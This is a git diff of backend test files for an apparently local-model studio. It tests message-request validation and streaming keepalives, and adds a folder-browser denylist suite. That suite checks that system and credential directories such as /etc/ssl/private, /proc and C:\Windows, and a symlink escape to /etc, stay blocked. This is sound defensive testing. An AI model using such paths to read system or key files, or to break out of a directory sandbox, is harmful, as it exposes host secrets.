+    assert "secret reasoning" not in json.dumps(openai)  # thinking never forwarded
+
+    # A malformed KNOWN block still fails cleanly instead of being swallowed.
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [{"role": "assistant", "content": [{"type": "tool_use", "name": "f"}]}],
+        )
+
+
+def test_user_null_content_rejected():
+    # The null->"" leniency is assistant-only; a null user content must be rejected
+    # at the boundary, not coerced into an empty prompt and forwarded to the model.
+    from pydantic import ValidationError
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [{"role": "user", "content": None}],
+        )
+
+
+def test_user_unknown_block_rejected_not_silently_dropped():
+    # The converter skips user blocks it cannot translate, so a user turn whose only
+    # block is unknown would validate yet forward no content. Reject at the boundary
+    # to avoid that silent data loss (the assistant fallback is unaffected).
+    from pydantic import ValidationError
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [
+                {"role": "user", "content": [{"type": "document", "source": {}}]},
+            ],
+        )
+
+
+def test_user_translatable_blocks_still_accepted():
+    # text / image / tool_result are translatable, so a real user message built from
+    # them must still pass; the unknown-block guard only trips on other types.
+    req = AnthropicMessagesRequest(
+        model = "x",
+        max_tokens = 16,
+        messages = [
+            {
+                "role": "user",
+                "content": [
+                    {"type": "text", "text": "What is this?"},
+                    {
+                        "type": "image",
+                        "source": {"type": "base64", "media_type": "image/png", "data": "AA"},
+                    },
+                    {"type": "tool_result", "tool_use_id": "t1", "content": "ok"},
+                ],
+            }
+        ],
+    )
+    assert [type(b).__name__ for b in req.messages[0].content] == [
+        "AnthropicTextBlock",
+        "AnthropicImageBlock",
+        "AnthropicToolResultBlock",
+    ]
+
+    openai = anthropic_messages_to_openai([m.model_dump() for m in req.messages])
+    assert any(m["role"] == "tool" and m["tool_call_id"] == "t1" for m in openai)
+
+
+def test_user_malformed_known_block_still_rejected():
+    # The guard only allow-lists a user block's *type*; the union still validates its
+    # shape, so a known-but-malformed block (tool_result without tool_use_id) fails.
+    from pydantic import ValidationError
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [
+                {"role": "user", "content": [{"type": "tool_result", "content": "x"}]},
+            ],
+        )
+
+
+def test_user_content_block_non_string_type_rejected_cleanly():
+    # A user block whose `type` is a non-string (unhashable list / dict, or a stray
+    # int) must fail as a clean validation error, not raise TypeError from the
+    # frozenset membership test and escape as a 500.
+    from pydantic import ValidationError
+    for bad_type in ([], {}, 5):
+        with pytest.raises(ValidationError):
+            AnthropicMessagesRequest(
+                model = "x",
+                max_tokens = 16,
+                messages = [{"role": "user", "content": [{"type": bad_type}]}],
+            )
+
+
+def test_assistant_missing_content_key_still_rejected():
+    # The null -> "" leniency is only for an EXPLICIT null. An assistant message that
+    # omits content entirely stays malformed and must fail required-field validation.
+    from pydantic import ValidationError
+
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [{"role": "assistant"}],
+        )
+    # An explicit null is still accepted and coerced (regression guard).
+    req = AnthropicMessagesRequest(
+        model = "x",
+        max_tokens = 16,
+        messages = [
+            {"role": "user", "content": "hi"},
+            {"role": "assistant", "content": None},
+        ],
+    )
+    assert req.messages[1].content == ""
+
+
+def test_resumed_null_assistant_between_users_coalesced_on_messages_route(monkeypatch):
+    # user -> assistant(null) -> user is now accepted: the null assistant turn coerces
+    # to "" and is dropped. The route must then coalesce the two remaining user turns
+    # so a strict GGUF chat template does not 400 on non-alternating roles.
+    backend = _mock_backend(monkeypatch, context_length = 2048)
+
+    class _Req:
+        state = SimpleNamespace()
+        url = SimpleNamespace(path = "/v1/messages")
+        method = "POST"
+
+        async def is_disconnected(self):
+            return False
+
+    payload = AnthropicMessagesRequest(
+        model = "x",
+        max_tokens = 16,
+        messages = [
+            {"role": "user", "content": "first question"},
+            {"role": "assistant", "content": None},
+            {"role": "user", "content": "please continue"},
+        ],
+    )
+
+    response = _drive(anthropic_messages(payload, request = _Req(), current_subject = "t"))
+    assert response.status_code == 200
+
+    [(_path, kwargs)] = backend.calls
+    user_turns = [m for m in kwargs["messages"] if m.get("role") == "user"]
+    assert len(user_turns) == 1  # the two user turns were merged, not left adjacent
+    merged = user_turns[0]["content"]
+    if isinstance(merged, list):
+        merged = " ".join(p.get("text", "") for p in merged if isinstance(p, dict))
+    assert "first question" in merged and "please continue" in merged
+
+
+def test_disable_parallel_tool_use_forwards_heartbeats_while_dropping():
+    """Heartbeats from a parallel-disabled, dropped tool call must still reach
+    the client as SSE keepalives: the dropped call runs server-side and the
+    stall keepalive never fires while the generator keeps producing events, so
+    swallowing them recreates the silent window keepalives exist to prevent."""
+    import threading as _threading
+
+    from routes.inference import (
+        _OPENAI_PASSTHROUGH_SSE_KEEPALIVE,
+        _anthropic_tool_stream,
+    )
+
+    def run_gen():
+        def gen():
+            yield {
+                "type": "tool_start",
+                "tool_name": "python",
+                "tool_call_id": "call_0",
+                "arguments": {},
+            }
+            yield {"type": "heartbeat"}
+            yield {
+                "type": "tool_end",
+                "tool_name": "python",
+                "tool_call_id": "call_0",
+                "result": "r1",
+            }
+            # Second call: dropped by disable_parallel_tool_use, still executed
+            # server-side (heartbeats + live output).
+            yield {
+                "type": "tool_start",
+                "tool_name": "python",
+                "tool_call_id": "call_1",
+                "arguments": {},
+            }
+            yield {"type": "heartbeat"}
+            yield {
+                "type": "tool_output",
+                "tool_name": "python",
+                "tool_call_id": "call_1",
+                "text": "x",
+            }
+            yield {"type": "heartbeat"}
+            yield {
+                "type": "tool_end",
+                "tool_name": "python",
+                "tool_call_id": "call_1",
+                "result": "r2",
+            }
+            yield {"type": "content", "text": "final answer"}
+
+        return gen()
+
+    async def _drive():
+        async def _is_disconnected():
+            return False
+
+        request = SimpleNamespace(is_disconnected = _is_disconnected)
+        resp = await _anthropic_tool_stream(
+            request,
+            _threading.Event(),
+            run_gen,
+            "msg_hb",
+            "m",
+            disable_parallel_tool_use = True,
+        )
+        return [chunk async for chunk in resp.body_iterator]
+
+    chunks = asyncio.run(_drive())
+    keepalives = [c for c in chunks if c == _OPENAI_PASSTHROUGH_SSE_KEEPALIVE]
+    # One heartbeat inside the kept call, two inside the dropped window.
+    assert len(keepalives) >= 3
+    # The dropped call must not surface as a second tool_use block.
+    tool_use_starts = [c for c in chunks if "content_block_start" in c and '"tool_use"' in c]
+    assert len(tool_use_starts) == 1
+
+
+def test_dropped_tool_output_events_emit_rate_limited_keepalives(monkeypatch):
+    """A chatty tool streaming tool_output/tool_args with no heartbeats keeps the
+    generator busy (stall keepalive never fires); the Anthropic path can't
+    translate those events and drops them. Dropping silently would let an idle
+    proxy kill the stream, so the drop branch emits a rate-limited keepalive."""
+    import threading as _threading
+
+    import routes.inference as inf_mod
+    from routes.inference import (
+        _OPENAI_PASSTHROUGH_SSE_KEEPALIVE,
+        _anthropic_tool_stream,
+    )
+
+    # Deterministic clock: only the drop-branch keepalive uses time.monotonic
+    # here, so jumping past the stall window per call makes each dropped event
+    # cross the rate-limit threshold. asyncio.wait uses the loop clock and
+    # next(gen) returns promptly, so the outer stall keepalive never fires --
+    # every keepalive here is from the drop branch.
+    _real_time = inf_mod.time
+    _tick = {"v": 0.0}
+
+    def _fast_monotonic():
+        _tick["v"] += 100.0
+        return _tick["v"]
+
+    fake_time = SimpleNamespace(
+        monotonic = _fast_monotonic,
+        sleep = _real_time.sleep,
+        time = _real_time.time,
+        perf_counter = _real_time.perf_counter,
+    )
+    monkeypatch.setattr(inf_mod, "time", fake_time)
+
+    n_output = 4
+
+    def run_gen():
+        def gen():
+            yield {
+                "type": "tool_start",
+                "tool_name": "python",
+                "tool_call_id": "call_0",
+                "arguments": {},
+            }
+            # Chatty streamed stdout, no heartbeats.
+            for i in range(n_output):
+                yield {
+                    "type": "tool_output",
+                    "tool_name": "python",
+                    "tool_call_id": "call_0",
+                    "text": f"line {i}\n",
+                }
+            yield {
+                "type": "tool_end",
+                "tool_name": "python",
+                "tool_call_id": "call_0",
+                "result": "done",
+            }
+            yield {"type": "content", "text": "final answer"}
+
+        return gen()
+
+    async def _drive():
+        async def _is_disconnected():
+            return False
+
+        request = SimpleNamespace(is_disconnected = _is_disconnected)
+        resp = await _anthropic_tool_stream(
+            request,
+            _threading.Event(),
+            run_gen,
+            "msg_drop_ka",
+            "m",
+        )
+        return [chunk async for chunk in resp.body_iterator]
+
+    chunks = asyncio.run(_drive())
+    keepalives = [c for c in chunks if c == _OPENAI_PASSTHROUGH_SSE_KEEPALIVE]
+    assert len(keepalives) == n_output
+    # Final answer still reaches the client (drop is transport-only).
+    assert any("final answer" in c for c in chunks)
+
+
+def test_parallel_disabled_dropped_call_output_emits_rate_limited_keepalives(monkeypatch):
+    """Under disable_parallel_tool_use a chatty second call is dropped whole
+    (drop_until_tool_end). Its tool_output/tool_args events must still emit
+    rate-limited keepalives: the drop window can last minutes with no heartbeats
+    and no stall keepalive, so swallowing them silently would let an idle proxy
+    kill the stream. The keepalive branch runs before the drop skip."""
+    import threading as _threading
+
+    import routes.inference as inf_mod
+    from routes.inference import (
+        _OPENAI_PASSTHROUGH_SSE_KEEPALIVE,
+        _anthropic_tool_stream,
+    )
+
+    # Deterministic clock: jumps past the stall window per call (see sibling test).
+    _real_time = inf_mod.time
+    _tick = {"v": 0.0}
+
+    def _fast_monotonic():
+        _tick["v"] += 100.0
+        return _tick["v"]
+
+    fake_time = SimpleNamespace(
+        monotonic = _fast_monotonic,
+        sleep = _real_time.sleep,
+        time = _real_time.time,
+        perf_counter = _real_time.perf_counter,
+    )
+    monkeypatch.setattr(inf_mod, "time", fake_time)
+
+    n_output = 4
+
+    def run_gen():
+        def gen():
+            # First (kept) call.
+            yield {
+                "type": "tool_start",
+                "tool_name": "python",
+                "tool_call_id": "call_0",
+                "arguments": {},
+            }
+            yield {
+                "type": "tool_end",
+                "tool_name": "python",
+                "tool_call_id": "call_0",
+                "result": "r1",
+            }
+            # Second call: dropped whole by disable_parallel_tool_use but still
+            # executed server-side, streaming chatty stdout with no heartbeats.
+            yield {
+                "type": "tool_start",
+                "tool_name": "python",
+                "tool_call_id": "call_1",
+                "arguments": {},
+            }
+            for i in range(n_output):
+                yield {
+                    "type": "tool_output",
+                    "tool_name": "python",
+                    "tool_call_id": "call_1",
+                    "text": f"line {i}\n",
+                }
+            yield {
+                "type": "tool_end",
+                "tool_name": "python",
+                "tool_call_id": "call_1",
+                "result": "r2",
+            }
+            yield {"type": "content", "text": "final answer"}
+
+        return gen()
+
+    async def _drive():
+        async def _is_disconnected():
+            return False
+
+        request = SimpleNamespace(is_disconnected = _is_disconnected)
+        resp = await _anthropic_tool_stream(
+            request,
+            _threading.Event(),
+            run_gen,
+            "msg_drop_ka2",
+            "m",
+            disable_parallel_tool_use = True,
+        )
+        return [chunk async for chunk in resp.body_iterator]
+
+    chunks = asyncio.run(_drive())
+    keepalives = [c for c in chunks if c == _OPENAI_PASSTHROUGH_SSE_KEEPALIVE]
+    assert len(keepalives) == n_output
+    # The dropped call must not surface as a second tool_use block.
+    tool_use_starts = [c for c in chunks if "content_block_start" in c and '"tool_use"' in c]
+    assert len(tool_use_starts) == 1
+    assert any("final answer" in c for c in chunks)
+
+
+def test_plain_stream_emits_keepalive_during_prompt_stall(monkeypatch):
+    """No-tool Anthropic stream must emit SSE keepalives while a long prompt
+    prefill blocks next(gen), matching the tool stream (finding 5). The old
+    single unbounded to_thread(next, ...) could sit silent past a proxy idle cap."""
+    import threading as _threading
+    import time as _time
+
+    from routes import inference as inf_mod
+    from routes.inference import _OPENAI_PASSTHROUGH_SSE_KEEPALIVE, _anthropic_plain_stream
+
+    monkeypatch.setattr(inf_mod, "_LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S", 0.05)
+
+    def run_gen():
+        def gen():
+            _time.sleep(0.24)  # stall past several shortened keepalive windows
+            yield "hello world"
+
+        return gen()
+
+    async def _drive():
+        async def _is_disconnected():
+            return False
+
+        request = SimpleNamespace(is_disconnected = _is_disconnected)
+        resp = await _anthropic_plain_stream(
+            request, _threading.Event(), run_gen, "msg_plain_ka", "m"
+        )
+        return [chunk async for chunk in resp.body_iterator]
+
+    chunks = asyncio.run(_drive())
+    keepalives = [c for c in chunks if c == _OPENAI_PASSTHROUGH_SSE_KEEPALIVE]
+    assert len(keepalives) >= 2
+    assert any("hello world" in c for c in chunks)
+
+
+def test_plain_stream_closes_generator_on_disconnect():
+    """On disconnect the no-tool teardown must drain any pending worker and close
+    the generator (finding 6). The old finally only stopped the disconnect
+    watcher, leaking the generator. A fake generator records close() so the
+    teardown is asserted deterministically, not via GC."""
+    import threading as _threading
+
+    from routes.inference import _anthropic_plain_stream
+
+    closed = _threading.Event()
+
+    class _FakeGen:
+        def __init__(self):
+            self._items = iter(["tok0", "tok1", "tok2", "tok3"])
+
+        def __next__(self):
+            return next(self._items)
+
+        def close(self):
+            closed.set()
+
+    def run_gen():
+        return _FakeGen()
+
+    state = {"disconnected": False}
+
+    async def _drive():
+        async def _is_disconnected():
+            return state["disconnected"]
+
+        request = SimpleNamespace(is_disconnected = _is_disconnected)
+        resp = await _anthropic_plain_stream(
+            request, _threading.Event(), run_gen, "msg_plain_close", "m"
+        )
+        out = []
+        async for chunk in resp.body_iterator:
+            out.append(chunk)
+            if "tok0" in chunk:
+                # Client drops after the first token; the next loop turn tears down.
+                state["disconnected"] = True
+        return out
+
+    asyncio.run(_drive())
+    assert closed.is_set()
diff --git a/studio/backend/tests/test_browse_denylist.py b/studio/backend/tests/test_browse_denylist.py
new file mode 100644
index 0000000000..e21dc5c5a8
--- /dev/null
+++ b/studio/backend/tests/test_browse_denylist.py
@@ -0,0 +1,371 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""System-directory denylist enforcement for the folder browser.
+
+Once the allowlist can hold a whole Windows drive root (C:\\) or a legacy /
+root, the browse endpoints must re-apply the ``_denied_path_prefixes()`` policy
+``add_scan_folder`` enforces, so /etc, /proc, C:\\Windows, C:\\Program Files stay
+unbrowseable even under an allowlisted root. Windows/macOS branches run on this
+POSIX host by AST-extracting the pure helper with ``ntpath`` / a mocked ``platform``.
+"""
+
+from __future__ import annotations
+
+import ast
+import ntpath
+import os
+import posixpath
+from pathlib import Path
+from types import SimpleNamespace
+from typing import Optional
+
+import pytest
+
+from hub.storage import scan_folders
+from storage import studio_db
+from utils.paths.external_media import is_local_filesystem_root
+
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+
+class _HTTPException(Exception):
+    def __init__(self, status_code: int, detail: str):
+        super().__init__(detail)
+        self.status_code = status_code
+        self.detail = detail
+
+
+def _extract_is_denied_windows():
+    """is_denied_system_path (+ _denied_path_prefixes) from studio_db.py under Windows semantics (ntpath) on a POSIX host."""
+    src = (_BACKEND_ROOT / "storage" / "studio_db.py").read_text(encoding = "utf-8")
+    tree = ast.parse(src)
+    funcs = [
+        n
+        for n in tree.body
+        if isinstance(n, ast.FunctionDef)
+        and n.name in {"_denied_path_prefixes", "is_denied_system_path"}
+    ]
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+
+    win_os = SimpleNamespace(
+        sep = "\\",
+        environ = {
+            "SystemRoot": r"C:\Windows",
+            "ProgramFiles": r"C:\Program Files",
+            "ProgramFiles(x86)": r"C:\Program Files (x86)",
+        },
+        path = SimpleNamespace(normcase = ntpath.normcase),
+    )
+    ns = {
+        "os": win_os,
+        "platform": SimpleNamespace(system = lambda: "Windows"),
+        # /run has no Windows analog, so the carve-out is never reached.
+        "is_linux_run_media_path": lambda _p: False,
+    }
+    exec(compile(module, "<extracted studio_db.py>", "exec"), ns)
+    return ns["is_denied_system_path"]
+
+
+# is_denied_system_path -- Linux (real helper, this host)
+@pytest.mark.parametrize(
+    "path",
+    [
+        "/etc",
+        "/etc/ssl/private",
+        "/proc",
+        "/proc/1",
+        "/sys",
+        "/dev",
+        "/boot",
+        "/run",
+        "/run/systemd/private",
+        "/run/media",
+        "/run/media/dspofu",
+    ],
+)
+def test_is_denied_system_path_linux_denies_system_dirs(monkeypatch, path):
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    assert studio_db.is_denied_system_path(path) is True
+
+
+@pytest.mark.parametrize(
+    "path",
+    ["/run/media/dspofu/nvmeB", "/run/media/dspofu/nvmeB/models"],
+)
+def test_is_denied_system_path_linux_allows_run_media_mounts(monkeypatch, path):
+    # The /run/media/<user>/<volume> carve-out keeps removable media browseable.
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    assert studio_db.is_denied_system_path(path) is False
+
+
+@pytest.mark.parametrize(
+    "path",
+    ["/etc-backup", "/etcetera", "/home/u/models", "/mnt/data", "/devices", "/", "/opt/models"],
+)
+def test_is_denied_system_path_linux_allows_non_system(monkeypatch, path):
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    assert studio_db.is_denied_system_path(path) is False
+
+
+def test_legacy_and_hub_denylist_agree(monkeypatch):
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(scan_folders.platform, "system", lambda: "Linux")
+    for p in ["/etc", "/proc/1", "/home/u", "/boot", "/opt/x"]:
+        assert studio_db.is_denied_system_path(p) == scan_folders.is_denied_system_path(p)
+
+
+# is_denied_system_path -- Windows (ntpath-backed), case-insensitive + collisions
+@pytest.mark.parametrize(
+    "path",
+    [
+        r"C:\Windows",
+        r"C:\Windows\System32",
+        r"c:\windows",
+        r"C:\WINDOWS\Temp",
+        r"C:\Program Files",
+        r"C:\Program Files\x",
+        r"C:\Program Files (x86)\y",
+        r"c:\program files",
+    ],
+)
+def test_is_denied_system_path_windows_denies_system_dirs(path):
+    is_denied = _extract_is_denied_windows()
+    assert is_denied(path) is True
+
+
+@pytest.mark.parametrize(
+    "path",
+    [
+        r"C:\Models",
+        r"D:\models",
+        r"C:\WindowsApps",
+        r"C:\ProgramData",
+        r"C:\Program Files Extra",
+        r"E:\gguf",
+        r"C:\Users\me\models",
+    ],
+)
+def test_is_denied_system_path_windows_allows_non_system(path):
+    is_denied = _extract_is_denied_windows()
+    assert is_denied(path) is False
+
+
+# _resolve_browse_target -- real-FS integration (legacy browser)
+def _extract_resolver():
+    """Extract the legacy browse resolver; its inline imports use the real storage.studio_db policy."""
+    src = (_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8")
+    tree = ast.parse(src)
+    names = {
+        "_is_path_inside_allowlist",
+        "_normalize_browse_request_path",
+        "_browse_relative_parts",
+        "_match_browse_child",
+        "_resolve_browse_target",
+    }
+    funcs = [n for n in tree.body if isinstance(n, ast.FunctionDef) and n.name in names]
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    ns = {
+        "os": os,
+        "Path": Path,
+        "Optional": Optional,
+        "HTTPException": _HTTPException,
+        "logger": SimpleNamespace(warning = lambda *a, **k: None, debug = lambda *a, **k: None),
+    }
+    exec(compile(module, "<extracted routes/models.py>", "exec"), ns)
+    return ns["_resolve_browse_target"]
+
+
+def test_resolve_browse_target_blocks_etc_via_root():
+    # Registering "/" must not make /etc browsable (Codex #3 regression guard).
+    resolve = _extract_resolver()
+    with pytest.raises(_HTTPException) as exc:
+        resolve("/etc", [Path("/")])
+    assert exc.value.status_code == 403
+
+
+def test_resolve_browse_target_blocks_stale_denied_root(tmp_path, monkeypatch):
+    # A stale scan-folder row pointing at a denied dir is refused by the
+    # browse-time denylist even though it is its own allowlist root. A tmp-based
+    # denied prefix (+ Linux compare) keeps the assertion OS-agnostic: on macOS
+    # tmp lives under the already-denied /private/var, masking the message.
+    denied = (tmp_path / "sysfake").resolve()
+    denied.mkdir()
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(studio_db, "_denied_path_prefixes", lambda: [str(denied)])
+    resolve = _extract_resolver()
+    with pytest.raises(_HTTPException) as exc:
+        resolve(str(denied), [denied])
+    assert exc.value.status_code == 403
+    assert "System directories" in exc.value.detail
+
+
+def test_resolve_browse_target_allows_root_itself():
+    resolve = _extract_resolver()
+    assert resolve("/", [Path("/")]) == Path("/")
+
+
+def test_resolve_browse_target_allows_legit_nested_dir(tmp_path, monkeypatch):
+    # Force the Linux denylist so the macOS temp location (under the denied
+    # /private/var) doesn't reject the tmp fixture; a normal nested dir must not be over-blocked.
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    resolve = _extract_resolver()
+    base = tmp_path / "allowed"
+    sub = base / "models" / "gguf"
+    sub.mkdir(parents = True)
+    assert resolve(str(sub), [base]) == sub.resolve()
+
+
+def test_resolve_browse_target_symlink_escape_blocked(tmp_path):
+    resolve = _extract_resolver()
+    base = tmp_path / "allowed"
+    base.mkdir()
+    link = base / "escape"
+    try:
+        link.symlink_to("/etc", target_is_directory = True)
+    except OSError:
+        pytest.skip("symlinks unsupported on this host")
+    with pytest.raises(_HTTPException) as exc:
+        resolve(str(link), [base])
+    assert exc.value.status_code == 403
+
+
+# _is_path_inside_allowlist -- bare POSIX root parity (legacy == hub)
+def _extract_is_inside(rel_parts, *, os_module = os):
+    """Extract a standalone _is_path_inside_allowlist (os/Path only) so both browsers' copies compare without importing their heavy modules."""
+    src = _BACKEND_ROOT.joinpath(*rel_parts).read_text(encoding = "utf-8")
+    tree = ast.parse(src)
+    funcs = [
+        n
+        for n in tree.body
+        if isinstance(n, ast.FunctionDef) and n.name == "_is_path_inside_allowlist"
+    ]
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    ns = {"os": os_module, "Path": Path}
+    exec(compile(module, f"<extracted {'/'.join(rel_parts)}>", "exec"), ns)
+    return ns["_is_path_inside_allowlist"]
+
+
+# ntpath semantics with a no-FS realpath, so UNC containment can be driven on a
+# POSIX CI (the real realpath cannot resolve \\server\share off Windows).
+_WIN_OS = SimpleNamespace(
+    sep = ntpath.sep,
+    path = SimpleNamespace(
+        realpath = lambda p: ntpath.normpath(str(p)),
+        normcase = ntpath.normcase,
+        splitdrive = ntpath.splitdrive,
+        dirname = ntpath.dirname,
+        commonpath = ntpath.commonpath,
+    ),
+)
+
+
+def test_legacy_and_hub_allowlist_agree_on_posix_root():
+    # A bare "/" allowlist entry must authorize only "/" itself in BOTH
+    # browsers, never descend into /var, /root, /home (which the denylist does
+    # not cover). Guards the hub browser against authorizing every absolute path.
+    legacy = _extract_is_inside(["routes", "models.py"])
+    hub = _extract_is_inside(["hub", "services", "models", "folder_browser.py"])
+    roots = [Path("/")]
+    for tgt in ["/var", "/root", "/home", "/usr", "/opt", "/etc"]:
+        assert legacy(Path(tgt), roots) is False
+        assert hub(Path(tgt), roots) is False
+    # "/" itself stays browseable; only its descendants are withheld.
+    assert legacy(Path("/"), roots) is True
+    assert hub(Path("/"), roots) is True
+
+
+def test_hub_allowlist_authorizes_normal_nested_dir(tmp_path):
+    # The bare-root special case must not over-block a normal allowlist root's descendants.
+    hub = _extract_is_inside(["hub", "services", "models", "folder_browser.py"])
+    base = tmp_path / "allowed"
+    sub = base / "models" / "gguf"
+    sub.mkdir(parents = True)
+    assert hub(sub, [base]) is True
+    assert hub(base, [base]) is True
+
+
+# add_scan_folder -- filesystem-root rejection parity (legacy == hub)
+def test_legacy_add_scan_folder_rejects_filesystem_root(monkeypatch):
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    with pytest.raises(ValueError, match = "filesystem root"):
+        studio_db.add_scan_folder("/")
+
+
+def test_hub_add_scan_folder_rejects_filesystem_root(monkeypatch):
+    monkeypatch.setattr(scan_folders.platform, "system", lambda: "Linux")
+    with pytest.raises(ValueError, match = "filesystem root"):
+        scan_folders.add_scan_folder("/")
+
+
+# is_local_filesystem_root: reject "/" and "C:\\" (roots above denied system dirs),
+# but NOT a UNC share root -- registering \\server\share was allowed before this
+# guard and has no system dirs under it. _pathmod drives Windows semantics on POSIX CI.
+@pytest.mark.parametrize(
+    "path, pathmod, expected",
+    [
+        # Local filesystem roots -> rejected (True).
+        ("/", posixpath, True),
+        ("C:\\", ntpath, True),
+        ("c:\\", ntpath, True),
+        ("D:\\", ntpath, True),
+        # UNC share roots -> NOT a local root, stay registerable (False).
+        (r"\\server\share", ntpath, False),
+        (r"\\nas\models", ntpath, False),
+        ("//server/share", ntpath, False),
+        # Device / extended-length volume roots -> still local roots (rejected),
+        # so neither \\?\C:\ nor a drive-letter-less \\?\Volume{GUID}\ can slip
+        # past the guard as if it were a share root.
+        (r"\\?\C:" + "\\", ntpath, True),
+        (r"\\.\C:" + "\\", ntpath, True),
+        (r"\\?\C:", ntpath, True),
+        (r"\\.\C:", ntpath, True),
+        (r"\\?\Volume{2f8e6d31-0000-0000-0000-100000000000}" + "\\", ntpath, True),
+        (r"\\.\Volume{2f8e6d31-0000-0000-0000-100000000000}", ntpath, True),
+        # Device-namespace UNC share root -> stays registerable (False).
+        (r"\\?\UNC\server\share", ntpath, False),
+        # Non-root paths (incl. deep device / extended-length) -> not a root (False).
+        ("C:\\Models", ntpath, False),
+        (r"\\server\share\models", ntpath, False),
+        (r"\\?\C:\Users\me\models", ntpath, False),
+        (r"\\?\Volume{2f8e6d31-0000-0000-0000-100000000000}\models", ntpath, False),
+        ("/home/user", posixpath, False),
+    ],
+)
+def test_is_local_filesystem_root(path, pathmod, expected):
+    assert is_local_filesystem_root(path, _pathmod = pathmod) is expected
+
+
+def test_both_guards_use_the_shared_local_root_helper():
+    # Register-root parity: both browsers reject the same roots via one helper, so a
+    # UNC-share exemption can never drift between the legacy and hub code paths.
+    legacy_src = (_BACKEND_ROOT / "storage" / "studio_db.py").read_text(encoding = "utf-8")
+    hub_src = (_BACKEND_ROOT / "hub" / "storage" / "scan_folders.py").read_text(encoding = "utf-8")
+    assert "is_local_filesystem_root(normalized)" in legacy_src
+    assert "is_local_filesystem_root(normalized)" in hub_src
+
+
+# A registered UNC share root must authorize its own descendants in both browsers.
+# os.path.commonpath raises "can't mix absolute and relative" on a bare
+# \\server\share, so containment falls back to a boundary-safe prefix test; without
+# it, registering a UNC share (now allowed) would 403 every folder under it.
+@pytest.mark.parametrize(
+    "rel_parts",
+    [
+        ["routes", "models.py"],
+        ["hub", "services", "models", "folder_browser.py"],
+    ],
+)
+def test_unc_share_root_authorizes_its_descendants(rel_parts):
+    is_inside = _extract_is_inside(rel_parts, os_module = _WIN_OS)
+    root = [Path(r"\\server\share")]
+    assert is_inside(Path(r"\\server\share"), root) is True  # the root itself
+    assert is_inside(Path(r"\\server\share\models"), root) is True  # direct child
+    assert is_inside(Path(r"\\server\share\a\b\c"), root) is True  # deep descendant
+    assert is_inside(Path(r"\\SERVER\SHARE\Models"), root) is True  # case-insensitive
+    assert is_inside(Path(r"\\server\share2\models"), root) is False  # sibling share
+    assert is_inside(Path(r"C:\models"), root) is False  # different volume
diff --git a/studio/backend/tests/test_browse_folders_route.py b/studio/backend/tests/test_browse_folders_route.py
index 3a607e6b10..970057f1e2 100644
--- a/studio/backend/tests/test_browse_folders_route.py
+++ b/studio/backend/tests/test_browse_folders_route.py
@@ -22,6 +22,18 @@ if "structlog" not in sys.modules:
     )
 
 import routes.models as models_route
+import storage.studio_db as studio_db
+
+
+@pytest.fixture(autouse = True)
+def _denylist_inert(monkeypatch):
+    # These tests exercise allowlist containment and the file-vs-directory guard,
+    # not the system-directory denylist (which has its own suite in
+    # test_browse_denylist.py). On macOS tmp_path resolves under /private/var, a
+    # denied prefix, so _resolve_browse_target would 403 the fixture dirs before
+    # the containment logic runs. Keep the denylist inert here so these
+    # assertions hold on every platform.
+    monkeypatch.setattr(studio_db, "is_denied_system_path", lambda _p: False)
 
 
 def test_resolve_browse_target_returns_allowed_directory(tmp_path):
diff --git a/studio/backend/tests/test_bypass_permissions.py b/studio/backend/tests/test_bypass_permissions.py
index d92509a5fe..2635f4e7c8 100644
--- a/studio/backend/tests/test_bypass_permissions.py
+++ b/studio/backend/tests/test_bypass_permissions.py
@@ -13,6 +13,7 @@ never gating under bypass.
 Run with: ``PYTHONPATH=studio/backend python -m pytest studio/backend/tests/test_bypass_permissions.py -q``
 """
 
+import io
 import os
 import sys
 
@@ -94,10 +95,23 @@ def test_safe_env_excludes_host_and_secret(monkeypatch, tmp_path):
 
 
 class _FakeProc:
-    returncode = 0
+    """A subprocess.Popen double for the drain path (``tools._drain_process_output``):
+    a readable ``stdout`` pipe yielding the fake output then EOF, plus
+    ``wait()`` / ``poll()`` / ``pid``. The pid is non-existent so
+    ``_capture_process_group``'s ``os.getpgid`` returns None; ``wait`` returns
+    immediately so the drain never kills.
+    """
 
-    def communicate(self, timeout = None):
-        return ("FAKEOUT", None)
+    returncode = 0
+    # Unlikely-to-exist pid: os.getpgid raises ProcessLookupError (caught) -> None.
+    pid = 2**22
+
+    def __init__(self):
+        # Readable stdout: iter(readline, "") yields "FAKEOUT" then hits EOF.
+        self.stdout = io.StringIO("FAKEOUT")
+
+    def wait(self, timeout = None):
+        return 0
 
     def poll(self):
         return 0
@@ -257,6 +271,7 @@ def test_loop_forwards_disable_sandbox_and_does_not_gate():
         cancel_event = None,
         timeout = None,
         session_id = None,
+        thread_id = None,
         rag_scope = None,
         disable_sandbox = False,
     ):
@@ -290,6 +305,7 @@ def test_loop_bypass_overrides_confirm_for_direct_callers():
         cancel_event = None,
         timeout = None,
         session_id = None,
+        thread_id = None,
         rag_scope = None,
         disable_sandbox = False,
     ):
